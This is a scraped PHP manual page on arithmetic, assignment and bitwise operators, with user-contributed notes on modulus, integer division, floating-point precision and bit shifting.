Actually I think you meant *smaller*, not larger... the reason floor($a/$b) isn't absolutely equatable with the integer division of $a and $b is explained mainly at http://us3.php.net/float . By the look of things, any number with a loss of precision will be truncated instead of rounded. This would at least make sense in the big picture since truncation is more consistant than rounding.
T Chan 19-Aug-2006 09:28
Please note that floor($a/$b) is not the same as integer division. if the 'fractional part' of $a/$b is close to 1, then it can round up, and floor($a/$b) will be larger than it should be. The example is a bit contrived though (and printf doesn't print enough digits).

<?php printf("%f\n",$a = 9007199254740991); // 9007199254740991.000000
printf("%f\n", $b = $a * 3.0); //27021597764222970.000000, the actual value stored ends in 2 while the true value ends in 3
printf("%f\n", $b/$a - 3.0); //0.000000
printf("%f\n", $b - 2*$a - $a); //-1.000000
printf("%f\n",fmod($b,$a)); //9007199254740990.000000 fmod agrees too
?>

Admittedly it's a bit 'specially-crafted', but it just goes to show. I believe it does work for integers that can be exactly represented in FP. But if you're dealing with ints anyway, (a-a%b)/b has no function calls and returns an int, while floor() always returns a float.
Ulf Wostner 05-Aug-2006 12:13
# There are several natural ways to define the mod operator for integers.
# Requirement:  If mod(k, m) = r, then k and r differ by a multiple of m.

# For m=7, think days-of-the-week.  Both mod(13, 7) = 6 and mod(13, 7) = -1
# satisfy the requirement. Six days from today, or one day ago, are the same DOW.

# There are several natural ways to define the mod operator for integers.
# Requirement:  If mod(k, m) = r, then k and r differ by a multiple of m.

# For m=7, think days-of-the-week.  Both mod(13, 7) = 6 and mod(13, 7) = -1
# satisfy the requirement. Six days from today, or one day ago, are the same DOW.

# Here are four mod operators:

# 1. mod_php.
# Same as the built-in PHP function, so mod_php($k,$m) == ($k % $m).
# A negative value might jolt a programmer using it for array index.

function mod_php($k, $m) {return $k % $m; }

# 2. Standard math definition.
# Nice. But, if for some reason m is negative, be prepared for negative values.

function mod_math($k, $m) { return ($k - $m * floor($k/$m)); }

# 3. Smallest absolute value.
# Sometimes convenient for large integers, making good use of the sign-bit.
# Also, for mere humans, "-2 months from May", might be easier than "10 months from May".

function mod_min($k, $m) {
$r = mod_pos($k, $m);
if($r > abs($m)/2) $r -= abs($m);
return $r;
}

# 4. Smallest non-negative value.
# Maybe closest to the concept that mod is the remainder when dividing $k by $m.

function mod_pos($k, $m) { return ($k - abs($m) * floor($k/abs($m))); }

# This table compares the four functions.

k    m   mod_php mod_math  mod_min   mod_pos

18    7       4       4      -3          4
17    7       3       3       3          3
16    7       2       2       2          2

-16    7     -2       5      -2          5
-17    7     -3       4      -3          4
-18    7     -4       3       3          3

18    -7     4      -3      -3           4
17    -7     3      -4       3           3
16    -7     2      -5       2           2

-16    -7     -2      -2      -2         5
-17    -7     -3      -3      -3         4
-18    -7     -4      -4       3         3
bxm AT cs d0t nott d0t ac d0t uk 05-Jun-2006 04:06
An implementation of the classical modulus operator (as in mathematics or Java). An alternative to the one given below, which was more elegant. This implementation maybe more efficient?

// Computes...
// Mathematics: $a (mod $b)
// Java: $a % $b
function modulus( $a, $b )
{
    if( $a < 0 )
    {
        return $b - ( abs( $a ) % $b );
    }
    else
    {
        return $a % $b;
    }
}
andr3a at 3site dot it 05-Jun-2006 05:14
[ops ... wrong example :D]
just a note about module, it works only with integers.

<?php
$a = pow(2, 31);
$b = ($a / 2) - 1;
echo implode('<br />', array(
    $a + $b, // OK => 3221225472
    $a - $b, // OK => 1073741825
    $a * $b, // OK => 2.3058430070662E+018
    $a / $b, // OK => 2.0000000018626
    $a % $b  // WTF ? => -2
));
?>

maybe bc_mod with a string cast should be a solution

bc_mod((string)pow(2,31), (pow(2,31)/2)-1)
shmee35 at hotmail dot com 14-Dec-2005 03:00
Note that constructs which evaluate to 0 (such as empty strings, false, or an explicit NULL) will be treated as 0 in a arithmetic operation. Therefore:
<?php
echo 5*"", '<br>';
echo 5+false, '<br>';
echo 5/NULL, '<br>';
?>
Will produce:
0
5
Warning: Division by zero
pww8 at cornell dot edu 17-Aug-2005 02:25
It appears floating-point infinity (INF) is not returned from divide by zero (in PHP 5.0.0).  Instead a warning is given and Boolean FALSE is returned.

I searched the various manuals and did not find relevant explanation, so am adding this.
Gemini6Ice 13-Aug-2005 03:59
For integer division, just use floor($a / $b).
rz at daimi dot au dot dk 04-Apr-2005 05:04
This is a really simple observation.
There is no integer division operator. But if you need to divide by a power of 2, you can use the right-shift operator instead. 257/32 gives 8.03125, but 257>>5 gives 8.
areshankar at gmail dot com 17-Mar-2005 02:40
Most of the mail services/bulletin boards display the time when the message was posted or the mail was received in the  form  - 3 days ago, 15 mins ago etc.

Here is  a nifty little PHP function which does the same by basically  combining the usage of "/" and "%" operators.

You need to pass the unix timestamp of the time when the message was posted to the function.

function intervalCalc($postedtime)
{
    $now = time();
    $interval_secs = $now  - $postedtime;

    if ($interval_secs > 86400)
    {
        $interval = (($interval_secs - ($interval_secs%86400))/86400);

        $interval.= " days ago";
    }
    elseif ($interval_secs > 3600)
    {
        $interval = ($interval_secs - ($interval_secs%3600)/3600);

        $interval.= " hours ago";
    }
    elseif ($interval_secs > 60)
    {
        $interval = ($interval_secs - ($interval_secs%60)/60);

        $interval.= " minutes ago";
    }

    return  $interval;

}
sputnik13 at gmail dot com 13-Feb-2005 06:49
I just had to make a comment about gilthans' use of the bitwise xor operator (^)...  I'm guessing from the line if(($x < 0 ^ $y < 0) && $x != 0) that he wants to verify that only x or only y is less than 0 AND x != 0...  Bitwise operators should not be used for truth values like this, that's what xor is for.
justin at koivi dot com 25-Jan-2005 01:08
A note about the documentation on this page that I found while teaching a PHP class:

The above statment: "The division operator ("/") returns a float value anytime, even if the two operands are integers (or strings that get converted to integers)." is NOT TRUE.

Take the following:
<?php
$a=5;
$b=10;
$c=$b/$a;
$d=10/5;
var_dump($c);
var_dump($d);
var_dump($b/$a);
var_dump(10/5);
?>
All 4 instances will print "int(2)"

Therefore, the division operator "/" returns an integer value if the numbers are evenly divisible AND they are both integers (or strings that have been converted to integer values).
no at email dot com 13-Jan-2005 01:08
If you need "div" function like in pascal ( 123 div 10 == 12) you can try this:
$number "div" 10 = ($number-($number % 10)) / 10;
jphansen at uga dot edu 06-Jan-2005 10:12
If the second operand of modulus is of a precision type, modulus will return a boolean instead of a numeric type.
gilthans at gmail dot com 20-Dec-2004 01:13
Me and a few friends were talking about how math works in coding languages, and after a while of discussion, we started wondering how does the sqrt() function works, and how does the division work, using only addition, substraction and multiplication (because that could be easily done using only addition).
I have best knowledge in PHP, so I had my shot at division, and a while of testing proved that my code works. I'm posting this here for the curious, even though the normal PHP division works 7 times faster, so I think there is some way of making my code more efficient.
divide($x, $y, $a, 0) is similar to number_format($x/$y, $a);, and divide($x, $y, $a, 1) is similar to Array(floor($x/$y), $x%$y).
<?php
function divide($x, $y, $a=6, $z=false){
    // returns $x/$y
    $t = '';
    if($y == 0)
    return 0;
    if(($x < 0 ^ $y < 0) && $x != 0)
    $t = '-';
    $x = abs($x);
    $y = abs($y);
    $in = 0;
    while(($in+1)*$y <= $x)
        $in++;
    $r = $x-($in*$y);
    if($z)
    return Array($in, $r);
    $d = '';
    $c = 0;
    while($r != 0 && $c < $a){
    list($u, $r) = divide($r*10, $y, $a, 1);
    $c++;
    if($c >= $a){
        $b = divide($r*10, $y, $a, 1);
        $u += ($b[0] > 4) ? 1 : 0;
    }
    $d .= $u;
    }
    return intval($t.$in.(($d != '') ? ".".$d : ""));
}
?>
adam.pippin at accesscomm dot ca 02-Dec-2004 01:15
To factor a number:

<?php

function factornumber($number)
{
    for ($i=1; $i<=($number/2); $i++)
    {
        if ($number % $i == 0)
        {
            echo "$i * ".($number/$i)." = $number\n";
        }
    }
}

factornumber(50);

?>

That script outputs:

1 * 50 = 50
2 * 25 = 50
5 * 10 = 50
10 * 5 = 50
25 * 2 = 50

As you may notice, it makes no attempts at removing duplicates (eg: 5*10 and 10*5), although it would be trivial to make it do so.
glenn at benge dot co dot nz 05-Oct-2004 11:28
a real simple method to reset an integer to a the next lowest multiple of a divisor

$startSeq = $startSeq - ($startSeq % $entriesPerPage);

if $startSeq was already a multiple, then " $startSeq % $entriesPerPage " will return 0 and $startSeq will not change.
arjini at gmail dot com 08-Sep-2004 09:48
When dealing purely with HTML, especially tables, or other things in "grids"  the modulous operator is really useful for splitting up the data with a seperator.

This snippet reads any gif files from the directory the script is in, prints them out and puts in a break every 5th image.

<?php
    $d = dir('./');
    $i = 0;
    while(false !== ($e = $d->read())){
        if(strpos($e,'.gif')){
            ++$i;
            echo '<img src="'.$e.'"/>'.chr(10);
            if(!($i%5))
                echo '<br/>';
        }
    }
?>

For tables just put </tr><tr> in place of the break.
csaba at alum dot mit dot edu 16-May-2004 05:32
The function below is not a replacement for http://php.net/fmod  Rather, it is the classic (mathematician's) modulo where the resultant value is always non-negative, in the range [0,$base).  For example, mod(-9,7) => 5.  When both arguments are integers, you get the classic notion of the % operator.

function mod($num, $base) {
    return ($num - $base*floor($num/$base)); }

Csaba Gabor
info at sima-pc dot com 01-May-2004 02:48
Note that operator % (modulus) works just with integers (between -214748348 and 2147483647) while fmod() works with short and large numbers.

Modulus with non integer numbers will give unpredictable results.
php AT internethoofdkantoor.nl 12-Jan-2004 04:15
For the mathematicians among us:
The mod operator % works a bit differently than in mathematics (e.g. in group theory), in that negative remainders aren't represented by their positive equivalence classes, as is common in mathematics.

An example:
-1%7 returns -1, instead of 6.

it depends a bit on how you interpret 'remainder of a division', i.e. if you want the remainder to be always positive.
soren at byu dot edu 19-Nov-2003 07:49
Exponentiation doesn't use ^ or ** as you might be used to with other languages.  To calculate "z equals y to the x" use:

$z = pow(y,x)
darnell at uga dot edu 28-Oct-2003 07:57
Also, when automatically converting floats to integers, PHP truncates them rather than rounding.  So in the previous note, 2.4 gets truncated to 2 before the modulus operator is applied.
todd at magnifisites dot com 16-Oct-2003 04:22
There isn't much detail in the PHP Manual regarding the PHP modulus operator (%).  It seems as though the PHP modulus operator (%) works on integer operands. If PHP operates like Perl, then the modulus operator (%) converts its operands to integers before finding the remainder according to integer division.  Testing seems to prove the theory:

<?php
$dividend = 7;
$divisor = 2.4;
print $dividend%$divisor; // prints 1
print fmod($dividend, $divisor); // prints 2.2
?>
Operator Precedence
Assignment Operators
Operators


Assignment Operators

The basic assignment operator is "=". Your first inclination might be to think of this as "equal to". Don't. It really means that the left operand gets set to the value of the expression on the right (that is, "gets set to").

The value of an assignment expression is the value assigned. That is, the value of "$a = 3" is 3. This allows you to do some tricky things:

<?php

$a = ($b = 4) + 5; // $a is equal to 9 now, and $b has been set to 4.

?>

For arrays, assigning a value to a named key is performed using the "=>" operator. The precedence of this operator is the same as other assignment operators.

In addition to the basic assignment operator, there are "combined operators" for all of the binary arithmetic, array union and string operators that allow you to use a value in an expression and then set its value to the result of that expression. For example:

<?php

$a = 3;
$a += 5; // sets $a to 8, as if we had said: $a = $a + 5;
$b = "Hello ";
$b .= "There!"; // sets $b to "Hello There!", just like $b = $b . "There!";

?>

Note that the assignment copies the original variable to the new one (assignment by value), so changes to one will not affect the other. This may also have relevance if you need to copy something like a large array inside a tight loop.

An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword.

Assignment by Reference

Assignment by reference is also supported, using the "$var = &$othervar;" syntax. Assignment by reference means that both variables end up pointing at the same data, and nothing is copied anywhere.

Example #1 Assigning by reference

<?php
$a = 3;
$b = &$a; // $b is a reference to $a

print "$a\n"; // prints 3
print "$b\n"; // prints 3

$a = 4; // change $a

print "$a\n"; // prints 4
print "$b\n"; // prints 4 as well, since $b is a reference to $a, which has
              // been changed
?>

As of PHP 5, the new operator returns a reference automatically, so assigning the result of new by reference results in an E_DEPRECATED message in PHP 5.3 and later, and an E_STRICT message in earlier versions.

For example, this code will result in a warning:

<?php
class C {}

/* The following line generates the following error message:
 * Deprecated: Assigning the return value of new by reference is deprecated in...
 */
$o = &new C;
?>

More information on references and their potential uses can be found in the References Explained section of the manual.

User Contributed Notes

haubertj at alfredstate dot edu 01-Sep-2011 07:19
[[   Editor's note: You are much better off using the foreach (array_expression as $key => $value) control structure in this case   ]]

When using

<php
while ($var = current($array) {
#do stuff
next($aray)
?>

to process an array, if current($array) happens to be falsy but not === false it will still end the loop.  In such a case strict typing must be used.

Like this:

<php
while (($var = current($array)) !== FALSE) {
#do stuff
next($aray)
?>

Of course if your array may contain actual FALSE values you will have to deal with those some other way.
Peter, Moscow 11-Feb-2011 01:44
Using $text .= "additional text"; instead of $text =  $text ."additional text"; can seriously enhance performance due to memory allocation efficiency.

I reduced execution time from 5 sec to .5 sec (10 times) by simply switching to the first pattern for a loop with 900 iterations over a string $text that reaches 800K by the end.
inca 15-Nov-2009 07:52
Note that assignments will not use lazy evaluation.

<?php
foo(){
   echo 'foo';
   return true;
}

$bar = false;
$bar &= foo(); // will call foo()
$bar = $bar && foo(); // will not call foo()
?>
Hayley Watson 05-Feb-2008 05:54
You could also take adam at gmail dot com's xor-assignment operator and use the fact that it's right-associative:

$a ^= $b ^= $a ^= $b;
Hayley Watson 07-Oct-2007 03:22
bradlis7 at bradlis7 dot com's description is a bit confusing. Here it is rephrased.

<?php
$a = 'a';
$b = 'b';

$a .= $b .= "foo";

echo $a,"\n",$b;?>
outputs

abfoo
bfoo

Because the assignment operators are right-associative and evaluate to the result of the assignment
<?php
$a .= $b .= "foo";
?>
is equivalent to
<?php
$a .= ($b .= "foo");
?>
and therefore
<?php
$b .= "foo";
$a .= $b;
?>
adam at gmail dot com 25-Aug-2006 10:38
or you could use the xor-assignment operator..
$a ^= $b;
$b ^= $a;
$a ^= $b;
bradlis7 at bradlis7 dot com 15-Aug-2005 08:13
Note whenever you do this

<?php
$a .= $b .= "bla bla";
?>

it comes out to be the same as the following:

<?php
$a .= $b."bla bla";
$b .= "bla bla";
?>

So $a actually becomes $a and the final $b string. I'm sure it's the same with numerical assignments (+=, *=...).
straz at mac dot nospam dot com 20-Feb-2004 10:18
This page really ought to have table of assignment operators,
namely,

See the Arithmetic Operators page (http://www.php.net/manual/en/language.operators.arithmetic.php)
Assignment    Same as:
$a += $b     $a = $a + $b    Addition
$a -= $b     $a = $a - $b     Subtraction
$a *= $b     $a = $a * $b     Multiplication
$a /= $b     $a = $a / $b    Division
$a %= $b     $a = $a % $b    Modulus

See the String Operators page(http://www.php.net/manual/en/language.operators.string.php)
$a .= $b     $a = $a . $b       Concatenate

See the Bitwise Operators page (http://www.php.net/manual/en/language.operators.bitwise.php)
$a &= $b     $a = $a & $b     Bitwise And
$a |= $b     $a = $a | $b      Bitwise Or
$a ^= $b     $a = $a ^ $b       Bitwise Xor
$a <<= $b     $a = $a << $b     Left shift
$a >>= $b     $a = $a >> $b      Right shift
Arithmetic Operators
Bitwise Operators
Operators


Bitwise Operators

Bitwise operators allow evaluation and manipulation of specific bits within an integer.

Bitwise Operators
Example | Name | Result
$a & $b | And | Bits that are set in both $a and $b are set.
$a | $b | Or (inclusive or) | Bits that are set in either $a or $b are set.
$a ^ $b | Xor (exclusive or) | Bits that are set in $a or $b but not both are set.
~ $a | Not | Bits that are set in $a are not set, and vice versa.
$a << $b | Shift left | Shift the bits of $a $b steps to the left (each step means "multiply by two")
$a >> $b | Shift right | Shift the bits of $a $b steps to the right (each step means "divide by two")

Bit shifting in PHP is arithmetic. Bits shifted off either end are discarded. Left shifts have zeros shifted in on the right while the sign bit is shifted out on the left, meaning the sign of an operand is not preserved. Right shifts have copies of the sign bit shifted in on the left, meaning the sign of an operand is preserved.

Use parentheses to ensure the desired precedence. For example, $a & $b == true evaluates the equivalency then the bitwise and; while ($a & $b) == true evaluates the bitwise and then the equivalency.

Be aware of data type conversions. If both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values.

PHP's error_reporting ini setting uses bitwise values,
providing a real-world demonstration of turning
bits off. To show all errors, except for notices,
the php.ini file instructions say to use:
E_ALL & ~E_NOTICE

This works by starting with E_ALL:
00000000000000000111011111111111
Then taking the value of E_NOTICE...
00000000000000000000000000001000
... and inverting it via ~:
11111111111111111111111111110111
Finally, it uses AND (&) to find the bits turned
on in both values:
00000000000000000111011111110111

Another way to accomplish that is using XOR (^)
to find bits that are on in only one value or the other:
E_ALL ^ E_NOTICE

error_reporting can also be used to demonstrate turning bits on.
The way to show just errors and recoverable errors is:
E_ERROR | E_RECOVERABLE_ERROR

This process combines E_ERROR
00000000000000000000000000000001
and
00000000000000000001000000000000
using the OR (|) operator
to get the bits turned on in either value:
00000000000000000001000000000001

Example #1 Bitwise AND, OR and XOR operations on integers

<?php
/*
 * Ignore the top section,
 * it is just formatting to make output clearer.
 */

$format = '(%1$2d = %1$04b) = (%2$2d = %2$04b)'
        . ' %3$s (%4$2d = %4$04b)' . "\n";

echo <<<EOH
 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
EOH;

/*
 * Here are the examples.
 */

$values = array(0, 1, 2, 4, 8);
$test = 1 + 4;

echo "\n Bitwise AND \n";
foreach ($values as $value) {
    $result = $value & $test;
    printf($format, $result, $value, '&', $test);
}

echo "\n Bitwise Inclusive OR \n";
foreach ($values as $value) {
    $result = $value | $test;
    printf($format, $result, $value, '|', $test);
}

echo "\n Bitwise Exclusive OR (XOR) \n";
foreach ($values as $value) {
    $result = $value ^ $test;
    printf($format, $result, $value, '^', $test);
}
?>

The above example will output:

 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
 Bitwise AND
( 0 = 0000) = ( 0 = 0000) & ( 5 = 0101)
( 1 = 0001) = ( 1 = 0001) & ( 5 = 0101)
( 0 = 0000) = ( 2 = 0010) & ( 5 = 0101)
( 4 = 0100) = ( 4 = 0100) & ( 5 = 0101)
( 0 = 0000) = ( 8 = 1000) & ( 5 = 0101)

 Bitwise Inclusive OR
( 5 = 0101) = ( 0 = 0000) | ( 5 = 0101)
( 5 = 0101) = ( 1 = 0001) | ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) | ( 5 = 0101)
( 5 = 0101) = ( 4 = 0100) | ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) | ( 5 = 0101)

 Bitwise Exclusive OR (XOR)
( 5 = 0101) = ( 0 = 0000) ^ ( 5 = 0101)
( 4 = 0100) = ( 1 = 0001) ^ ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) ^ ( 5 = 0101)
( 1 = 0001) = ( 4 = 0100) ^ ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) ^ ( 5 = 0101)

Example #2 Bitwise XOR operations on strings

<?php
echo 12 ^ 9; // Outputs '5'

echo "12" ^ "9"; // Outputs the Backspace character (ascii 8)
                 // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // Outputs the ascii values #0 #4 #0 #0 #0
                        // 'a' ^ 'e' = #4

echo 2 ^ "3"; // Outputs 1
              // 2 ^ ((int)"3") == 1

echo "2" ^ 3; // Outputs 1
              // ((int)"2") ^ 3 == 1
?>

Example #3 Bit shifting on integers

<?php
/*
 * Here are the examples.
 */

echo "\n--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = 4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places);

$val = 4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = 4;
$places = 4;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond 0');

echo "\n--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = -4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = -4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond -1');

echo "\n--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 4;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = 4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places, 'sign bits get shifted out');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side');

echo "\n--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = -4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = -4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side, including sign bit');

/*
 * Ignore this bottom section,
 * it is just formatting to make output clearer.
 */

function p($res, $val, $op, $places, $note = '') {
    $format = '%0' . (PHP_INT_SIZE * 8) . "b\n";

    printf("Expression: %d = %d %s %d\n", $res, $val, $op, $places);

    echo " Decimal:\n";
    printf("  val=%d\n", $val);
    printf("  res=%d\n", $res);

    echo " Binary:\n";
    printf('  val=' . $format, $val);
    printf('  res=' . $format, $res);

    if ($note) {
        echo " NOTE: $note\n";
    }

    echo "\n";
}
?>

Output of the above example on 32 bit machines:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 1073741824 = 4 << 28
 Decimal:
  val=4
  res=1073741824
 Binary:
  val=00000000000000000000000000000100
  res=01000000000000000000000000000000

Expression: -2147483648 = 4 << 29
 Decimal:
  val=4
  res=-2147483648
 Binary:
  val=00000000000000000000000000000100
  res=10000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 30
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -2147483648 = -4 << 29
 Decimal:
  val=-4
  res=-2147483648
 Binary:
  val=11111111111111111111111111111100
  res=10000000000000000000000000000000

Expression: 0 = -4 << 30
 Decimal:
  val=-4
  res=0
 Binary:
  val=11111111111111111111111111111100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Output of the above example on 64 bit machines:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 4611686018427387904 = 4 << 60
 Decimal:
  val=4
  res=4611686018427387904
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0100000000000000000000000000000000000000000000000000000000000000

Expression: -9223372036854775808 = 4 << 61
 Decimal:
  val=4
  res=-9223372036854775808
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=1000000000000000000000000000000000000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 62
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -9223372036854775808 = -4 << 61
 Decimal:
  val=-4
  res=-9223372036854775808
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1000000000000000000000000000000000000000000000000000000000000000

Expression: 0 = -4 << 62
 Decimal:
  val=-4
  res=0
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Warning

Don't right shift for more than 32 bits on 32 bits systems. Don't left shift in case it results to number longer than 32 bits. Use functions from the gmp extension for bitwise manipulation on numbers beyond PHP_INT_MAX.

See also
pack(),
unpack(),
gmp_and(),
gmp_or(),
gmp_xor(),
gmp_testbit(),
gmp_clrbit()

User Contributed Notes

Anonymous 12-Oct-2011 07:56
To make very clear why ("18" & "32") is "10".
1) they they are both strings ,
2) "&" operator works on strings by taking each !Character! from each string and make a bit wise & between them and add this value to the resulting string

So:
"18" is made up of two characters: 0x31, 0x38
"32" is made up of two characters: 0x33, 0x32
----RESULT-----
0x31 & 0x33 = 0x31 => "1"
0x38 & 0x32 = 0x30 => "0"

and the result is "10" which is 100% correct.
spencer-p-moy at example dot com 17-Sep-2011 06:21
The NOT or complement operator ( ~ ) and negative binary numbers can be confusing.

~2 = -3  because you use the formula  ~x = -x - 1  The bitwise complement of a decimal number is the negation of the number minus 1.

NOTE: just using 4 bits here for the examples below but in reality PHP uses 32 bits.

Converting a negative decimal number (ie: -3) into binary takes 3 steps:
1) convert the positive version of the decimal number into binary (ie: 3 = 0011)
2) flips the bits (ie: 0011 becomes 1100)
3) add 1 (ie: 1100  + 0001 = 1101)

You might be wondering how does 1101 = -3. Well PHP uses the method "2's complement" to render negative binary numbers. If the left most bit is a 1 then the binary number is negative and you flip the bits and add 1. If it is 0 then it is positive and you don't have to do anything. So 0010 would be a positive 2. If it is 1101, it is negative and you flip the bits to get 0010. Add 1 and you get 0011 which equals -3.
aba at example dot com 12-Aug-2011 05:07
It is true that if both the left-hand and right-hand parameters are strings, the bitwise operator will operate on the characters' ASCII values. However, a complement is necessary to complete this sentence.
It is not irrelevant to point out that the decimal character's ASCII value have different binary values.

<?php
if (('18' & '32') == '10') {
    echo ord('18'); //return decimal value 49, which have binary value 110001
    echo ord('32'); //return decimal value 51, which have binary value 110011
    echo ord('10'); //return decimal value 49, which have binary value 110001
    //Therefore 110001 & 110011 = 110001
}
?>
Anonymous 31-Jul-2011 04:33
Using stings will just use every byte of the string - which is for me not unexpected at all:
<?php
'18'& '32'== '10'
// ord( '1' )== 49, ord( '8' )== 56, ord( '3' )== 51, ord( '2' )== 50
// 49& 51== 49, 56& 50== 48
// chr( 49 )== '1', chr( 48 )== '0'
?>
You have to typecast each operand to the data type you're expecting.
ivoras at gmail dot com 06-Jun-2011 04:44
As an additional curiosity, for some reason the result of the operation ("18" & "32") is "10". In other words, try avoiding using the binary operators on strings :)
josh at joshstrike dot com 11-Feb-2011 07:54
